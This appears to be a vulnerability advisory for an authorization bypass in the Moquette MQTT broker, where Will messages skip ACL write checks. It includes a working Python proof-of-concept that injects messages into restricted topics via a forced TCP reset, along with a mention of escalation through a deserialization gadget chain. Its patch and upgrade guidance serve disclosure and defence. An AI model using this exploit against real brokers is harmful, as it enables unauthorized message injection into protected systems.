CVE-2026-85058: moquette-broker Will Message ACL Authorization Bypass
Moquette MQTT Broker skips write-permission checks when publishing Last Will and Testament messages, letting any anonymous client inject messages into ACL-protected topics by setting a restricted…
The problem
All normal PUBLISH paths in PostOffice.java call authorizator.canWrite() before routing a message. The Will message path, fireWill() to publishWill() to publish2Subscribers(), contains no such check.
An unauthenticated attacker (allow_anonymous defaults to true) can declare any ACL-restricted topic as their Will Topic in the CONNECT packet, then terminate the TCP session abruptly. The broker fires the Will message and delivers it to subscribers with no authorization check at all.
Proof of concept
A working proof-of-concept for CVE-2026-85058 in io.moquette:moquette-broker, with the exact payload below.
import socket, struct, time
BROKER = ('127.0.0.1', 1883)
WILL_TOPIC = b'restricted/topic'
WILL_MSG = b'injected_by_will_bypass'
def build_connect(client_id, will_topic, will_msg):
# Variable header: protocol name + level + connect flags + keepalive
proto = b'\x00\x04MQTT' # MQTT 3.1.1
level = b'\x04'
flags = b'\x06' # CleanSession=1, WillFlag=1, WillQoS=0
keepalive = b'\x00\x3c'
var_hdr = proto + level + flags + keepalive
def enc(b): return struct.pack('!H', len(b)) + b
payload = enc(client_id) + enc(will_topic) + enc(will_msg)
pkt = var_hdr + payload
# Fixed header with remaining length
return b'\x10' + bytes([len(pkt)]) + pkt
# Step 1: subscriber connects and subscribes
sub = socket.create_connection(BROKER)
sub_connect = b'\x10\x11\x00\x04MQTT\x04\x02\x00\x3c\x00\x05sub01'
sub.sendall(sub_connect)
sub.recv(4) # CONNACK
subscribe = b'\x82\x16\x00\x01\x00\x10' + WILL_TOPIC + b'\x00'
sub.sendall(subscribe)
sub.recv(5) # SUBACK
print('[*] Subscriber ready on', WILL_TOPIC.decode())
# Step 2: attacker connects with Will Topic = restricted/topic
attacker = socket.create_connection(BROKER)
pkt = build_connect(b'attacker01', WILL_TOPIC, WILL_MSG)
attacker.sendall(pkt)
attacker.recv(4) # CONNACK
print('[*] Attacker connected, Will Topic =', WILL_TOPIC.decode())
# Step 3: TCP RST -- broker fires Will without canWrite() check
attacker.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER,
struct.pack('ii', 1, 0)) # l_onoff=1, l_linger=0
attacker.close()
print('[*] TCP RST sent -- broker will fire Will message')
# Step 4: check subscriber
time.sleep(1)
sub.settimeout(2.0)
try:
data = sub.recv(256)
if WILL_MSG in data:
print('[!!!] WILL MESSAGE RECEIVED on restricted/topic -- VULNERABILITY CONFIRMED')
except socket.timeout:
print('[-] No message received')
sub.close()The root cause is a missing authorizator.canWrite() call in PostOffice.publishWill(). Every other publish entry point (receivedPublishQos0, receivedPublishQos1, receivedPublishQos2) gates on canWrite(), but publishWill() calls publish2Subscribers() directly.
The patch commits (e23df019 and f5a323fe) add the canWrite() guard inside publishWill(), so the Will Topic is checked against the same ACL policy as a regular PUBLISH. CWE-862 (Missing Authorization) applies exactly: the broker performs a security-relevant action on behalf of the client without verifying the client's permission to do so.
A secondary risk noted in the advisory: if a downstream subscriber deserializes MQTT payloads with Java ObjectInputStream, the bypass can deliver a Commons Collections CC6 gadget chain as the Will payload, escalating to remote code execution on the subscriber.
The fix
Upgrade io.moquette:moquette-broker to version 0.18.1. The fix adds authorizator.canWrite() inside publishWill() in PostOffice.java (commits e23df019 and f5a323fe). No configuration workaround is available in 0.18.0; patching is the only remediation.
Related research
- high · 8.8CVE-2026-55521CVE-2026-55521: Yamcs Core API Multiple Missing Authorization Checks
- highCVE-2026-53966CVE-2026-53966: XWiki Platform Live Data Live Table Connector Missing Authorization Privilege Escalation
- high · 7.5OmniFaces: Forged Resource IDs, XSS via o:hashParam, and Push-Channel Replay
- high · 7.5CVE-2026-46487CVE-2026-46487: GeoNetwork Elasticsearch Search ACL Bypass via Missing Query Field